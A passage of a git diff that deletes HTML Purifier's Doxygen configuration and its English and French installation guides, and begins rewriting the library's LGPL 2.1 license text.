patterns (like *.h and *.hpp) to filter out the header-files in the -# directories. If left blank, the patterns specified with FILE_PATTERNS will -# be used. - -INCLUDE_FILE_PATTERNS = - -# The PREDEFINED tag can be used to specify one or more macro names that -# are defined before the preprocessor is started (similar to the -D option of -# gcc). The argument of the tag is a list of macros of the form: name -# or name=definition (no spaces). If the definition and the = are -# omitted =1 is assumed. To prevent a macro definition from being -# undefined via #undef or recursively expanded use the := operator -# instead of the = operator. - -PREDEFINED = - -# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then -# this tag can be used to specify a list of macro names that should be expanded. -# The macro definition that is found in the sources will be used. -# Use the PREDEFINED tag if you want to use a different macro definition. - -EXPAND_AS_DEFINED = - -# If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then -# doxygen's preprocessor will remove all function-like macros that are alone -# on a line, have an all uppercase name, and do not end with a semicolon. Such -# function macros are typically used for boiler-plate code, and will confuse -# the parser if not removed. - -SKIP_FUNCTION_MACROS = YES - -#--------------------------------------------------------------------------- -# Configuration::additions related to external references -#--------------------------------------------------------------------------- - -# The TAGFILES option can be used to specify one or more tagfiles. -# Optionally an initial location of the external documentation -# can be added for each tagfile. The format of a tag file without -# this location is as follows: -# TAGFILES = file1 file2 ... -# Adding location for the tag files is done as follows: -# TAGFILES = file1=loc1 "file2 = loc2" ... -# where "loc1" and "loc2" can be relative or absolute paths or -# URLs. If a location is present for each tag, the installdox tool -# does not have to be run to correct the links. -# Note that each tag file must have a unique name -# (where the name does NOT include the path) -# If a tag file is not located in the directory in which doxygen -# is run, you must also specify the path to the tagfile here. - -TAGFILES = - -# When a file name is specified after GENERATE_TAGFILE, doxygen will create -# a tag file that is based on the input files it reads. - -GENERATE_TAGFILE = - -# If the ALLEXTERNALS tag is set to YES all external classes will be listed -# in the class index. If set to NO only the inherited external classes -# will be listed. - -ALLEXTERNALS = NO - -# If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed -# in the modules index. If set to NO, only the current project's groups will -# be listed. - -EXTERNAL_GROUPS = YES - -# The PERL_PATH should be the absolute path and name of the perl script -# interpreter (i.e. the result of `which perl'). - -PERL_PATH = /usr/bin/perl - -#--------------------------------------------------------------------------- -# Configuration options related to the dot tool -#--------------------------------------------------------------------------- - -# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will -# generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base -# or super classes. Setting the tag to NO turns the diagrams off. Note that -# this option is superseded by the HAVE_DOT option below. This is only a -# fallback. It is recommended to install and use dot, since it yields more -# powerful graphs. - -CLASS_DIAGRAMS = YES - -# You can define message sequence charts within doxygen comments using the \msc -# command. Doxygen will then run the mscgen tool (see http://www.mcternan.me.uk/mscgen/) to -# produce the chart and insert it in the documentation. The MSCGEN_PATH tag allows you to -# specify the directory where the mscgen tool resides. If left empty the tool is assumed to -# be found in the default search path. - -MSCGEN_PATH = - -# If set to YES, the inheritance and collaboration graphs will hide -# inheritance and usage relations if the target is undocumented -# or is not a class. - -HIDE_UNDOC_RELATIONS = YES - -# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is -# available from the path. This tool is part of Graphviz, a graph visualization -# toolkit from AT&T and Lucent Bell Labs. The other options in this section -# have no effect if this option is set to NO (the default) - -HAVE_DOT = NO - -# If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen -# will generate a graph for each documented class showing the direct and -# indirect inheritance relations. Setting this tag to YES will force the -# the CLASS_DIAGRAMS tag to NO. - -CLASS_GRAPH = YES - -# If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen -# will generate a graph for each documented class showing the direct and -# indirect implementation dependencies (inheritance, containment, and -# class references variables) of the class with other documented classes. - -COLLABORATION_GRAPH = YES - -# If the GROUP_GRAPHS and HAVE_DOT tags are set to YES then doxygen -# will generate a graph for groups, showing the direct groups dependencies - -GROUP_GRAPHS = YES - -# If the UML_LOOK tag is set to YES doxygen will generate inheritance and -# collaboration diagrams in a style similar to the OMG's Unified Modeling -# Language. - -UML_LOOK = NO - -# If set to YES, the inheritance and collaboration graphs will show the -# relations between templates and their instances. - -TEMPLATE_RELATIONS = NO - -# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT -# tags are set to YES then doxygen will generate a graph for each documented -# file showing the direct and indirect include dependencies of the file with -# other documented files. - -INCLUDE_GRAPH = YES - -# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and -# HAVE_DOT tags are set to YES then doxygen will generate a graph for each -# documented header file showing the documented files that directly or -# indirectly include this file. - -INCLUDED_BY_GRAPH = YES - -# If the CALL_GRAPH, SOURCE_BROWSER and HAVE_DOT tags are set to YES then doxygen will -# generate a call dependency graph for every global function or class method. -# Note that enabling this option will significantly increase the time of a run. -# So in most cases it will be better to enable call graphs for selected -# functions only using the \callgraph command. - -CALL_GRAPH = NO - -# If the CALLER_GRAPH, SOURCE_BROWSER and HAVE_DOT tags are set to YES then doxygen will -# generate a caller dependency graph for every global function or class method. -# Note that enabling this option will significantly increase the time of a run. -# So in most cases it will be better to enable caller graphs for selected -# functions only using the \callergraph command. - -CALLER_GRAPH = NO - -# If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen -# will graphical hierarchy of all classes instead of a textual one. - -GRAPHICAL_HIERARCHY = YES - -# If the DIRECTORY_GRAPH, SHOW_DIRECTORIES and HAVE_DOT tags are set to YES -# then doxygen will show the dependencies a directory has on other directories -# in a graphical way. The dependency relations are determined by the #include -# relations between the files in the directories. - -DIRECTORY_GRAPH = YES - -# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images -# generated by dot. Possible values are png, jpg, or gif -# If left blank png will be used. - -DOT_IMAGE_FORMAT = png - -# The tag DOT_PATH can be used to specify the path where the dot tool can be -# found. If left blank, it is assumed the dot tool can be found in the path. - -DOT_PATH = - -# The DOTFILE_DIRS tag can be used to specify one or more directories that -# contain dot files that are included in the documentation (see the -# \dotfile command). - -DOTFILE_DIRS = - -# The MAX_DOT_GRAPH_MAX_NODES tag can be used to set the maximum number of -# nodes that will be shown in the graph. If the number of nodes in a graph -# becomes larger than this value, doxygen will truncate the graph, which is -# visualized by representing a node as a red box. Note that doxygen if the number -# of direct children of the root node in a graph is already larger than -# MAX_DOT_GRAPH_NOTES then the graph will not be shown at all. Also note -# that the size of a graph can be further restricted by MAX_DOT_GRAPH_DEPTH. - -DOT_GRAPH_MAX_NODES = 50 - -# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the -# graphs generated by dot. A depth value of 3 means that only nodes reachable -# from the root by following a path via at most 3 edges will be shown. Nodes -# that lay further from the root node will be omitted. Note that setting this -# option to 1 or 2 may greatly reduce the computation time needed for large -# code bases. Also note that the size of a graph can be further restricted by -# DOT_GRAPH_MAX_NODES. Using a depth of 0 means no depth restriction. - -MAX_DOT_GRAPH_DEPTH = 1000 - -# Set the DOT_TRANSPARENT tag to YES to generate images with a transparent -# background. This is disabled by default, which results in a white background. -# Warning: Depending on the platform used, enabling this option may lead to -# badly anti-aliased labels on the edges of a graph (i.e. they become hard to -# read). - -DOT_TRANSPARENT = NO - -# Set the DOT_MULTI_TARGETS tag to YES allow dot to generate multiple output -# files in one run (i.e. multiple -o and -T options on the command line). This -# makes dot run faster, but since only newer versions of dot (>1.8.10) -# support this, this feature is disabled by default. - -DOT_MULTI_TARGETS = NO - -# If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will -# generate a legend page explaining the meaning of the various boxes and -# arrows in the dot generated graphs. - -GENERATE_LEGEND = YES - -# If the DOT_CLEANUP tag is set to YES (the default) Doxygen will -# remove the intermediate dot files that are used to generate -# the various graphs. - -DOT_CLEANUP = YES - -#--------------------------------------------------------------------------- -# Configuration::additions related to the search engine -#--------------------------------------------------------------------------- - -# The SEARCHENGINE tag specifies whether or not a search engine should be -# used. If set to NO the values of all tags below this one will be ignored. - -SEARCHENGINE = NO - -# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/INSTALL b/vendor/ezyang/htmlpurifier/INSTALL deleted file mode 100644 index 182ff2efbb..0000000000 --- a/vendor/ezyang/htmlpurifier/INSTALL +++ /dev/null @@ -1,341 +0,0 @@ - -Install - How to install HTML Purifier - -HTML Purifier is designed to run out of the box, so actually using the -library is extremely easy. (Although... if you were looking for a -step-by-step installation GUI, you've downloaded the wrong software!) - -While the impatient can get going immediately with some of the sample -code at the bottom of this library, it's well worth reading this entire -document--most of the other documentation assumes that you are familiar -with these contents. - - ---------------------------------------------------------------------------- -1. Compatibility - -HTML Purifier is PHP 5 and PHP 7, and is actively tested from PHP 5.3 -and up. It has no core dependencies with other libraries. - -These optional extensions can enhance the capabilities of HTML Purifier: - - * iconv : Converts text to and from non-UTF-8 encodings - * bcmath : Used for unit conversion and imagecrash protection - * tidy : Used for pretty-printing HTML - -These optional libraries can enhance the capabilities of HTML Purifier: - - * CSSTidy : Clean CSS stylesheets using %Core.ExtractStyleBlocks - Note: You should use the modernized fork of CSSTidy available - at https://github.com/Cerdic/CSSTidy - * Net_IDNA2 (PEAR) : IRI support using %Core.EnableIDNA - Note: This is not necessary for PHP 5.3 or later - ---------------------------------------------------------------------------- -2. Reconnaissance - -A big plus of HTML Purifier is its inerrant support of standards, so -your web-pages should be standards-compliant. (They should also use -semantic markup, but that's another issue altogether, one HTML Purifier -cannot fix without reading your mind.) - -HTML Purifier can process these doctypes: - -* XHTML 1.0 Transitional (default) -* XHTML 1.0 Strict -* HTML 4.01 Transitional -* HTML 4.01 Strict -* XHTML 1.1 - -...and these character encodings: - -* UTF-8 (default) -* Any encoding iconv supports (with crippled internationalization support) - -These defaults reflect what my choices would be if I were authoring an -HTML document, however, what you choose depends on the nature of your -codebase. If you don't know what doctype you are using, you can determine -the doctype from this identifier at the top of your source code: - - - -...and the character encoding from this code: - - - -If the character encoding declaration is missing, STOP NOW, and -read 'docs/enduser-utf8.html' (web accessible at -http://htmlpurifier.org/docs/enduser-utf8.html). In fact, even if it is -present, read this document anyway, as many websites specify their -document's character encoding incorrectly. - - ---------------------------------------------------------------------------- -3. Including the library - -The procedure is quite simple: - - require_once '/path/to/library/HTMLPurifier.auto.php'; - -This will setup an autoloader, so the library's files are only included -when you use them. - -Only the contents in the library/ folder are necessary, so you can remove -everything else when using HTML Purifier in a production environment. - -If you installed HTML Purifier via PEAR, all you need to do is: - - require_once 'HTMLPurifier.auto.php'; - -Please note that the usual PEAR practice of including just the classes you -want will not work with HTML Purifier's autoloading scheme. - -Advanced users, read on; other users can skip to section 4. - -Autoload compatibility ----------------------- - - HTML Purifier attempts to be as smart as possible when registering an - autoloader, but there are some cases where you will need to change - your own code to accomodate HTML Purifier. These are those cases: - - AN __autoload FUNCTION IS DECLARED AFTER OUR AUTOLOADER IS REGISTERED - spl_autoload_register() has the curious behavior of disabling - the existing __autoload() handler. Users need to explicitly - spl_autoload_register('__autoload'). Because we use SPL when it - is available, __autoload() will ALWAYS be disabled. If __autoload() - is declared before HTML Purifier is loaded, this is not a problem: - HTML Purifier will register the function for you. But if it is - declared afterwards, it will mysteriously not work. This - snippet of code (after your autoloader is defined) will fix it: - - spl_autoload_register('__autoload') - - -For better performance ----------------------- - - Opcode caches, which greatly speed up PHP initialization for scripts - with large amounts of code (HTML Purifier included), don't like - autoloaders. We offer an include file that includes all of HTML Purifier's - files in one go in an opcode cache friendly manner: - - // If /path/to/library isn't already in your include path, uncomment - // the below line: - // require '/path/to/library/HTMLPurifier.path.php'; - - require 'HTMLPurifier.includes.php'; - - Optional components still need to be included--you'll know if you try to - use a feature and you get a class doesn't exists error! The autoloader - can be used in conjunction with this approach to catch classes that are - missing. Simply add this afterwards: - - require 'HTMLPurifier.autoload.php'; - -Standalone version ------------------- - - HTML Purifier has a standalone distribution; you can also generate - a standalone file from the full version by running the script - maintenance/generate-standalone.php . The standalone version has the - benefit of having most of its code in one file, so parsing is much - faster and the library is easier to manage. - - If HTMLPurifier.standalone.php exists in the library directory, you - can use it like this: - - require '/path/to/HTMLPurifier.standalone.php'; - - This is equivalent to including HTMLPurifier.includes.php, except that - the contents of standalone/ will be added to your path. To override this - behavior, specify a new HTMLPURIFIER_PREFIX where standalone files can - be found (usually, this will be one directory up, the "true" library - directory in full distributions). Don't forget to set your path too! - - The autoloader can be added to the end to ensure the classes are - loaded when necessary; otherwise you can manually include them. - To use the autoloader, use this: - - require 'HTMLPurifier.autoload.php'; - -For advanced users ------------------- - - HTMLPurifier.auto.php performs a number of operations that can be done - individually. These are: - - HTMLPurifier.path.php - Puts /path/to/library in the include path. For high performance, - this should be done in php.ini. - - HTMLPurifier.autoload.php - Registers our autoload handler HTMLPurifier_Bootstrap::autoload($class). - - You can do these operations by yourself, if you like. - - ---------------------------------------------------------------------------- -4. Configuration - -HTML Purifier is designed to run out-of-the-box, but occasionally HTML -Purifier needs to be told what to do. If you answer no to any of these -questions, read on; otherwise, you can skip to the next section (or, if you're -into configuring things just for the heck of it, skip to 4.3). - -* Am I using UTF-8? -* Am I using XHTML 1.0 Transitional? - -If you answered no to any of these questions, instantiate a configuration -object and read on: - - $config = HTMLPurifier_Config::createDefault(); - - -4.1. Setting a different character encoding - -You really shouldn't use any other encoding except UTF-8, especially if you -plan to support multilingual websites (read section three for more details). -However, switching to UTF-8 is not always immediately feasible, so we can -adapt. - -HTML Purifier uses iconv to support other character encodings, as such, -any encoding that iconv supports -HTML Purifier supports with this code: - - $config->set('Core.Encoding', /* put your encoding here */); - -An example usage for Latin-1 websites (the most common encoding for English -websites): - - $config->set('Core.Encoding', 'ISO-8859-1'); - -Note that HTML Purifier's support for non-Unicode encodings is crippled by the -fact that any character not supported by that encoding will be silently -dropped, EVEN if it is ampersand escaped. If you want to work around -this, you are welcome to read docs/enduser-utf8.html for a fix, -but please be cognizant of the issues the "solution" creates (for this -reason, I do not include the solution in this document). - - -4.2. Setting a different doctype - -For those of you using HTML 4.01 Transitional, you can disable -XHTML output like this: - - $config->set('HTML.Doctype', 'HTML 4.01 Transitional'); - -Other supported doctypes include: - - * HTML 4.01 Strict - * HTML 4.01 Transitional - * XHTML 1.0 Strict - * XHTML 1.0 Transitional - * XHTML 1.1 - - -4.3. Other settings - -There are more configuration directives which can be read about -here: They're a bit boring, -but they can help out for those of you who like to exert maximum control over -your code. Some of the more interesting ones are configurable at the -demo and are well worth looking into -for your own system. - -For example, you can fine tune allowed elements and attributes, convert -relative URLs to absolute ones, and even autoparagraph input text! These -are, respectively, %HTML.Allowed, %URI.MakeAbsolute and %URI.Base, and -%AutoFormat.AutoParagraph. The %Namespace.Directive naming convention -translates to: - - $config->set('Namespace.Directive', $value); - -E.g. - - $config->set('HTML.Allowed', 'p,b,a[href],i'); - $config->set('URI.Base', 'http://www.example.com'); - $config->set('URI.MakeAbsolute', true); - $config->set('AutoFormat.AutoParagraph', true); - - ---------------------------------------------------------------------------- -5. Caching - -HTML Purifier generates some cache files (generally one or two) to speed up -its execution. For maximum performance, make sure that -library/HTMLPurifier/DefinitionCache/Serializer is writeable by the webserver. - -If you are in the library/ folder of HTML Purifier, you can set the -appropriate permissions using: - - chmod -R 0755 HTMLPurifier/DefinitionCache/Serializer - -If the above command doesn't work, you may need to assign write permissions -to group: - - chmod -R 0775 HTMLPurifier/DefinitionCache/Serializer - -You can also chmod files via your FTP client; this option -is usually accessible by right clicking the corresponding directory and -then selecting "chmod" or "file permissions". - -Starting with 2.0.1, HTML Purifier will generate friendly error messages -that will tell you exactly what you have to chmod the directory to, if in doubt, -follow its advice. - -If you are unable or unwilling to give write permissions to the cache -directory, you can either disable the cache (and suffer a performance -hit): - - $config->set('Core.DefinitionCache', null); - -Or move the cache directory somewhere else (no trailing slash): - - $config->set('Cache.SerializerPath', '/home/user/absolute/path'); - - ---------------------------------------------------------------------------- -6. Using the code - -The interface is mind-numbingly simple: - - $purifier = new HTMLPurifier($config); - $clean_html = $purifier->purify( $dirty_html ); - -That's it! For more examples, check out docs/examples/ (they aren't very -different though). Also, docs/enduser-slow.html gives advice on what to -do if HTML Purifier is slowing down your application. - - ---------------------------------------------------------------------------- -7. Quick install - -First, make sure library/HTMLPurifier/DefinitionCache/Serializer is -writable by the webserver (see Section 5: Caching above for details). -If your website is in UTF-8 and XHTML Transitional, use this code: - -purify($dirty_html); -?> - -If your website is in a different encoding or doctype, use this code: - -set('Core.Encoding', 'ISO-8859-1'); // replace with your encoding - $config->set('HTML.Doctype', 'HTML 4.01 Transitional'); // replace with your doctype - $purifier = new HTMLPurifier($config); - - $clean_html = $purifier->purify($dirty_html); -?> - - vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/INSTALL.fr.utf8 b/vendor/ezyang/htmlpurifier/INSTALL.fr.utf8 deleted file mode 100644 index d04ad63fcf..0000000000 --- a/vendor/ezyang/htmlpurifier/INSTALL.fr.utf8 +++ /dev/null @@ -1,60 +0,0 @@ - -Installation - Comment installer HTML Purifier - -Attention : Ce document est encodé en UTF-8, si les lettres avec des accents -ne s'affichent pas, prenez un meilleur éditeur de texte. - -L'installation de HTML Purifier est très simple, parce qu'il n'a pas besoin -de configuration. Pour les utilisateurs impatients, le code se trouve dans le -pied de page, mais je recommande de lire le document. - -1. Compatibilité - -HTML Purifier fonctionne avec PHP 5. PHP 5.3 est la dernière version testée. -Il ne dépend pas d'autres librairies. - -Les extensions optionnelles sont iconv (généralement déjà installée) et tidy -(répendue aussi). Si vous utilisez UTF-8 et que vous ne voulez pas l'indentation, -vous pouvez utiliser HTML Purifier sans ces extensions. - - -2. Inclure la librairie - -Quand vous devez l'utilisez, incluez le : - - require_once('/path/to/library/HTMLPurifier.auto.php'); - -Ne pas l'inclure si ce n'est pas nécessaire, car HTML Purifier est lourd. - -HTML Purifier utilise "autoload". Si vous avez défini la fonction __autoload, -vous devez ajouter cette fonction : - - spl_autoload_register('__autoload') - -Plus d'informations dans le document "INSTALL". - -3. Installation rapide - -Si votre site Web est en UTF-8 et XHTML Transitional, utilisez : - -purify($html_a_purifier); -?> - -Sinon, utilisez : - -set('Core', 'Encoding', 'ISO-8859-1'); //Remplacez par votre - encodage - $config->set('Core', 'XHTML', true); //Remplacer par false si HTML 4.01 - $purificateur = new HTMLPurifier($config); - $html_propre = $purificateur->purify($html_a_purifier); -?> - - - vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/LICENSE b/vendor/ezyang/htmlpurifier/LICENSE index 21ee8faa5a..8c88a20d45 100644 --- a/vendor/ezyang/htmlpurifier/LICENSE +++ b/vendor/ezyang/htmlpurifier/LICENSE @@ -1,504 +1,504 @@ - GNU LESSER GENERAL PUBLIC LICENSE - Version 2.1, February 1999 - - Copyright (C) 1991, 1999 Free Software Foundation, Inc. - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - -[This is the first released version of the Lesser GPL. It also counts - as the successor of the GNU Library Public License, version 2, hence - the version number 2.1.] - - Preamble - - The licenses for most software are designed to take away your -freedom to share and change it. By contrast, the GNU General Public -Licenses are intended to guarantee your freedom to share and change -free software--to make sure the software is free for all its users. - - This license, the Lesser General Public License, applies to some -specially designated software packages--typically libraries--of the -Free Software Foundation and other authors who decide to use it. You -can use it too, but we suggest you first think carefully about whether -this license or the ordinary General Public License is the better -strategy to use in any particular case, based on the explanations below. - - When we speak of free software, we are referring to freedom of use, -not price. Our General Public Licenses are designed to make sure that -you have the freedom to distribute copies of free software (and charge -for this service if you wish); that you receive source code or can get -it if you want it; that you can change the software and use pieces of -it in new free programs; and that you are informed that you can do -these things. - - To protect your rights, we need to make restrictions that forbid -distributors to deny you these rights or to ask you to surrender these -rights. These restrictions translate to certain responsibilities for -you if you distribute copies of the library or if you modify it. - - For example, if you distribute copies of the library, whether gratis -or for a fee, you must give the recipients all the rights that we gave -you. You must make sure that they, too, receive or can get the source -code. If you link other code with the library, you must provide -complete object files to the recipients, so that they can relink them -with the library after making changes to the library and recompiling -it. And you must show them these terms so they know their rights. - - We protect your rights with a two-step method: (1) we copyright the -library, and (2) we offer you this license, which gives you legal -permission to copy, distribute and/or modify the library. - - To protect each distributor, we want to make it very clear that -there is no warranty for the free library. Also, if the library is -modified by someone else and passed on, the recipients should know -that what they have is not the original version, so that the original -author's reputation will not be affected by problems that might be -introduced by others. - - Finally, software patents pose a constant threat to the existence of -any free program. We wish to make sure that a company cannot -effectively restrict the users of a free program by obtaining a -restrictive license from a patent holder. Therefore, we insist that -any patent license obtained for a version of the library must be -consistent with the full freedom of use specified in this license. - - Most GNU software, including some libraries, is covered by the -ordinary GNU General Public License. This license, the GNU Lesser -General Public License, applies to certain designated libraries, and -is quite different from the ordinary General Public License. We use -this license for certain libraries in order to permit linking those -libraries into non-free programs. - - When a program is linked with a library, whether statically or using -a shared library, the combination of the two is legally speaking a -combined work, a derivative of the original library. The ordinary -General Public License therefore permits such linking only if the -entire combination fits its criteria of freedom. The Lesser General -Public License permits more lax criteria for linking other code with -the library. - - We call this license the "Lesser" General Public License because it -does Less to protect the user's freedom than the ordinary General -Public License. It also provides other free software developers Less -of an advantage over competing non-free programs. These disadvantages -are the reason we use the ordinary General Public License for many -libraries. However, the Lesser license provides advantages in certain -special circumstances. - - For example, on rare occasions, there may be a special need to -encourage the widest possible use of a certain library, so that it becomes -a de-facto standard. To achieve this, non-free programs must be -allowed to use the library. A more frequent case is that a free -library does the same job as widely used non-free libraries. In this -case, there is little to gain by limiting the free library to free -software only, so we use the Lesser General Public License. - - In other cases, permission to use a particular library in non-free -programs enables a greater number of people to use a large body of -free software. For example, permission to use the GNU C Library in -non-free programs enables many more people to use the whole GNU -operating system, as well as its variant, the GNU/Linux operating -system. - - Although the Lesser General Public License is Less protective of the -users' freedom, it does ensure that the user of a program that is -linked with the Library has the freedom and the wherewithal to run -that program using a modified version of the Library. - - The precise terms and conditions for copying, distribution and -modification follow. Pay close attention to the difference between a -"work based on the library" and a "work that uses the library". The -former contains code derived from the library, whereas the latter must -be combined with the library in order to run. - - GNU LESSER GENERAL PUBLIC LICENSE - TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION - - 0. This License Agreement applies to any software library or other -program which contains a notice placed by the copyright holder or -other authorized party saying it may be distributed under the terms of -this Lesser General Public License (also called "this License"). -Each licensee is addressed as "you". - - A "library" means a collection of software functions and/or data -prepared so as to be conveniently linked with application programs -(which use some of those functions and data) to form executables. - - The "Library", below, refers to any such software library or work -which has been distributed under these terms. A "work based on the -Library" means either the Library or any derivative work under -copyright law: that is to say, a work containing the Library or a -portion of it, either verbatim or with modifications and/or translated -straightforwardly into another language. (Hereinafter, translation is -included without limitation in the term "modification".) - - "Source code" for a work means the preferred form of the work for -making modifications to it. For a library, complete source code means -all the source code for all modules it contains, plus any associated -interface definition files, plus the scripts used to control compilation -and installation of the library. - - Activities other than copying, distribution and modification are not -covered by this License; they are outside its scope. The act of -running a program using the Library is not restricted, and output from -such a program is covered only if its contents constitute a work based -on the Library (independent of the use of the Library in a tool for -writing it). Whether that is true depends on what the Library does -and what the program that uses the Library does. - - 1. You may copy and distribute verbatim copies of the Library's -complete source code as you receive it, in any medium, provided that -you conspicuously and appropriately publish on each copy an -appropriate copyright notice and disclaimer of warranty; keep intact -all the notices that refer to this License and to the absence of any -warranty; and distribute a copy of this License along with the -Library. - - You may charge a fee for the physical act of transferring a copy, -and you may at your option offer warranty protection in exchange for a -fee. - - 2. You may modify your copy or copies of the Library or any portion -of it, thus forming a work based on the Library, and copy and -distribute such modifications or work under the terms of Section 1 -above, provided that you also meet all of these conditions: - - a) The modified work must itself be a software library. - - b) You must cause the files modified to carry prominent notices - stating that you changed the files and the date of any change. - - c) You must cause the whole of the work to be licensed at no - charge to all third parties under the terms of this License. - - d) If a facility in the modified Library refers to a function or a - table of data to be supplied by an application program that uses - the facility, other than as an argument passed when the facility - is invoked, then you must make a good faith effort to ensure that, - in the event an application does not supply such function or - table, the facility still operates, and performs whatever part of - its purpose remains meaningful. - - (For example, a function in a library to compute square roots has - a purpose that is entirely well-defined independent of the - application. Therefore, Subsection 2d requires that any - application-supplied function or table used by this function must - be optional: if the application does not supply it, the square - root function must still compute square roots.) - -These requirements apply to the modified work as a whole. If -identifiable sections of that work are not derived from the Library, -and can be reasonably considered independent and separate works in -themselves, then this License, and its terms, do not apply to those -sections when you distribute them as separate works. But when you -distribute the same sections as part of a whole which is a work based -on the Library, the distribution of the whole must be on the terms of -this License, whose permissions for other licensees extend to the -entire whole, and thus to each and every part regardless of who wrote -it. - -Thus, it is not the intent of this section to claim rights or contest -your rights to work written entirely by you; rather, the intent is to -exercise the right to control the distribution of derivative or -collective works based on the Library. - -In addition, mere aggregation of another work not based on the Library -with the Library (or with a work based on the Library) on a volume of -a storage or distribution medium does not bring the other work under -the scope of this License. - - 3. You may opt to apply the terms of the ordinary GNU General Public -License instead of this License to a given copy of the Library. To do -this, you must alter all the notices that refer to this License, so -that they refer to the ordinary GNU General Public License, version 2, -instead of to this License. (If a newer version than version 2 of the -ordinary GNU General Public License has appeared, then you can specify -that version instead if you wish.) Do not make any other change in -these notices. - - Once this change is made in a given copy, it is irreversible for -that copy, so the ordinary GNU General Public License applies to all -subsequent copies and derivative works made from that copy. - - This option is useful when you wish to copy part of the code of -the Library into a program that is not a library. - - 4. You may copy and distribute the Library (or a portion or -derivative of it, under Section 2) in object code or executable form -under the terms of Sections 1 and 2 above provided that you accompany -it with the complete corresponding machine-readable source code, which -must be distributed under the terms of Sections 1 and 2 above on a -medium customarily used for software interchange. - - If distribution of object code is made by offering access to copy -from a designated place, then offering equivalent access to copy the -source code from the same place satisfies the requirement to -distribute the source code, even though third parties are not -compelled to copy the source along with the object code. - - 5. A program that contains no derivative of any portion of the -Library, but is designed to work with the Library by being compiled or -linked with it, is called a "work that uses the Library". Such a -work, in isolation, is not a derivative work of the Library, and -therefore falls outside the scope of this License. - - However, linking a "work that uses the Library" with the Library -creates an executable that is a derivative of the Library (because it -contains portions of the Library), rather than a "work that uses the -library". The executable is therefore covered by this License. -Section 6 states terms for distribution of such executables. - - When a "work that uses the Library" uses material from a header file -that is part of the Library, the object code for the work may be a -derivative work of the Library even though the source code is not. -Whether this is true is especially significant if the work can be -linked without the Library, or if the work is itself a library. The -threshold for this to be true is not precisely defined by law. - - If such an object file uses only numerical parameters, data -structure layouts and accessors, and small macros and small inline -functions (ten lines or less in length), then the use of the object -file is unrestricted, regardless of whether it is legally a derivative -work. (Executables containing this object code plus portions of the -Library will still fall under Section 6.) - - Otherwise, if the work is a derivative of the Library, you may -distribute the object code for the work under the terms of Section 6. -Any executables containing that work also fall under Section 6, -whether or not they are linked directly with the Library itself. - - 6. As an exception to the Sections above, you may also combine or -link a "work that uses the Library" with the Library to produce a -work containing portions of the Library, and distribute that work -under terms of your choice, provided that the terms permit -modification of the work for the customer's own use and reverse -engineering for debugging such modifications. - - You must give prominent notice with each copy of the work that the -Library is used in it and that the Library and its use are covered by -this License. You must supply a copy of this License. If the work -during execution displays copyright notices, you must include the -copyright notice for the Library among them, as well as a reference -directing the user to the copy of this License. Also, you must do one -of these things: - - a) Accompany the work with the complete corresponding - machine-readable source code for the Library including whatever - changes were used in the work (which must be distributed under - Sections 1 and 2 above); and, if the work is an executable linked - with the Library, with the complete machine-readable "work that - uses the Library", as object code and/or source code, so that the - user can modify the Library and then relink to produce a modified - executable containing the modified Library. (It is understood - that the user who changes the contents of definitions files in the - Library will not necessarily be able to recompile the application - to use the modified definitions.) - - b) Use a suitable shared library mechanism for linking with the - Library. A suitable mechanism is one that (1) uses at run time a - copy of the library already present on the user's computer system, - rather than copying library functions into the executable, and (2) - will operate properly with a modified version of the library, if - the user installs one, as long as the modified version is - interface-compatible with the version that the work was made with. - - c) Accompany the work with a written offer, valid for at - least three years, to give the same user the materials - specified in Subsection 6a, above, for a charge no more - than the cost of performing this distribution. - - d) If distribution of the work is made by offering access to copy - from a designated place, offer equivalent access to copy the above - specified materials from the same place. - - e) Verify that the user has already received a copy of these - materials or that you have already sent this user a copy. - - For an executable, the required form of the "work that uses the -Library" must include any data and utility programs needed for -reproducing the executable from it. However, as a special exception, -the materials to be distributed need not include anything that is -normally distributed (in either source or binary form) with the major -components (compiler, kernel, and so on) of the operating system on -which the executable runs, unless that component itself accompanies -the executable. - - It may happen that this requirement contradicts the license -restrictions of other proprietary libraries that do not normally -accompany the operating system. Such a contradiction means you cannot -use both them and the Library together in an executable that you -distribute. - - 7. You may place library facilities that are a work based on the -Library side-by-side in a single library together with other library -facilities not covered by this License, and distribute such a combined -library, provided that the separate distribution of the work based on -the Library and of the other library facilities is otherwise -permitted, and provided that you do these two things: - - a) Accompany the combined library with a copy of the same work - based on the Library, uncombined with any other library - facilities. This must be distributed under the terms of the - Sections above. - - b) Give prominent notice with the combined library of the fact - that part of it is a work based on the Library, and explaining - where to find the accompanying uncombined form of the same work. - - 8. You may not copy, modify, sublicense, link with, or distribute -the Library except as expressly provided under this License. Any -attempt otherwise to copy, modify, sublicense, link with, or -distribute the Library is void, and will automatically terminate your -rights under this License. However, parties who have received copies, -or rights, from you under this License will not have their licenses -terminated so long as such parties remain in full compliance. - - 9. You are not required to accept this License, since you have not -signed it. However, nothing else grants you permission to modify or -distribute the Library or its derivative works. These actions are -prohibited by law if you do not accept this License. Therefore, by -modifying or distributing the Library (or any work based on the -Library), you indicate your acceptance of this License to do so, and -all its terms and conditions for copying, distributing or modifying -the Library or works based on it. - - 10. Each time you redistribute the Library (or any work based on the -Library), the recipient automatically receives a license from the -original licensor to copy, distribute, link with or modify the Library -subject to these terms and conditions. You may not impose any further -restrictions on the recipients' exercise of the rights 